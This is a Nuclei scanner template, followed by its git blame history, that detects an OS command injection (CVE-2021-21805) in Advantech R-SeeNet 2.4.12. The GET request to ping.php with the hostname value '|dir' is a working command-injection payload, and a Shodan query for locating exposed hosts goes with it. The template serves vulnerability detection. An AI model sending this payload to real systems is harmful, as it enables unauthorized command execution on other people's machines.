nuclei-templates/http/cves/2021/CVE-2021-21805.yaml

id: CVE-2021-21805

info:
  name: Advantech R-SeeNet 2.4.12 - OS Command Injection
  author: arafatansari
  severity: critical
  description: |
    Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21805
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-21805
    cwe-id: CWE-78
    epss-score: 0.97374
    epss-percentile: 0.99895
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query: http.html:"R-SeeNet"
  tags: cve2021,cve,rce,r-seenet,advantech

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/ping.php?hostname=|dir"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Ping |dir</title>"
          - "bottom.php"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a004630440220239da739e577f078def3474254759fb447a0e1c7ae5e5c894fc15f3748b3752b022039afb1da09e145478b68a7981ab742ece2729a5f473a12d97e7c259b4bddafb6:922c64590222798bb761d5b6d8e72950
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00			`id: CVE-2021-21805`

			`info:`
Dashboard Content Enhancements (#5582) Dashboard Content Enhancements 2022-10-10 19:22:59 +00:00			`name: Advantech R-SeeNet 2.4.12 - OS Command Injection`
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00			`author: arafatansari`
Update CVE-2021-21805.yaml 2022-08-05 23:55:06 +00:00			`severity: critical`
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00			`description: \|`
Dashboard Content Enhancements (#5582) Dashboard Content Enhancements 2022-10-10 19:22:59 +00:00			`Advantech R-SeeNet 2.4.12 is susceptible to remote OS command execution via the ping.php script functionality. An attacker, via a specially crafted HTTP request, can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Update to the latest version of Advantech R-SeeNet to mitigate this vulnerability.`
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00			`reference:`
			`- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1274`
Update CVE-2021-21805.yaml 2022-08-05 06:25:08 +00:00			`- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21805`
			`- https://nvd.nist.gov/vuln/detail/CVE-2021-21805`
TemplateMan Update [Mon Mar 4 08:20:22 UTC 2024] :robot: 2024-03-04 08:20:22 +00:00			`- https://github.com/ARPSyndicate/cvemon`
			`- https://github.com/ARPSyndicate/kenzer-templates`
Auto Generated CVE annotations [Sat Aug 6 07:03:14 UTC 2022] :robot: 2022-08-06 07:03:14 +00:00			`classification:`
Auto Generated CVE annotations [Mon Oct 10 19:40:25 UTC 2022] :robot: 2022-10-10 19:40:25 +00:00			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
			`cvss-score: 9.8`
Auto Generated CVE annotations [Sat Aug 6 07:03:14 UTC 2022] :robot: 2022-08-06 07:03:14 +00:00			`cve-id: CVE-2021-21805`
Auto Generated CVE annotations [Mon Oct 10 19:40:25 UTC 2022] :robot: 2022-10-10 19:40:25 +00:00			`cwe-id: CWE-78`
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot: 2023-12-12 11:07:52 +00:00			`epss-score: 0.97374`
TemplateMan Update [Mon Mar 4 08:20:22 UTC 2024] :robot: 2024-03-04 08:20:22 +00:00			`epss-percentile: 0.99895`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:::::::*`
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00			`metadata:`
boolean format update 2023-06-04 08:13:42 +00:00			`verified: true`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: advantech`
			`product: r-seenet`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`shodan-query: http.html:"R-SeeNet"`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2021,cve,rce,r-seenet,advantech`
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/php/ping.php?hostname=\|dir"`
Update CVE-2021-21805.yaml 2022-08-05 06:05:04 +00:00
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: word`
Update CVE-2021-21805.yaml 2022-08-05 23:55:06 +00:00			`part: body`
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00			`words:`
Update CVE-2021-21805.yaml 2022-08-05 06:25:08 +00:00			`- "<title>Ping \|dir</title>"`
Update CVE-2021-21805.yaml 2022-08-05 23:55:06 +00:00			`- "bottom.php"`
			`condition: and`
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00
			`- type: word`
Update CVE-2021-21805.yaml 2022-08-05 23:55:06 +00:00			`part: header`
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00			`words:`
Update CVE-2021-21805.yaml 2022-08-05 06:25:08 +00:00			`- "text/html"`
Create CVE-2021-21805.yaml 2022-08-05 05:57:31 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Mon Mar 4 09:35:31 UTC 2024] :robot: 2024-03-04 09:35:31 +00:00			`# digest: 490a004630440220239da739e577f078def3474254759fb447a0e1c7ae5e5c894fc15f3748b3752b022039afb1da09e145478b68a7981ab742ece2729a5f473a12d97e7c259b4bddafb6:922c64590222798bb761d5b6d8e72950`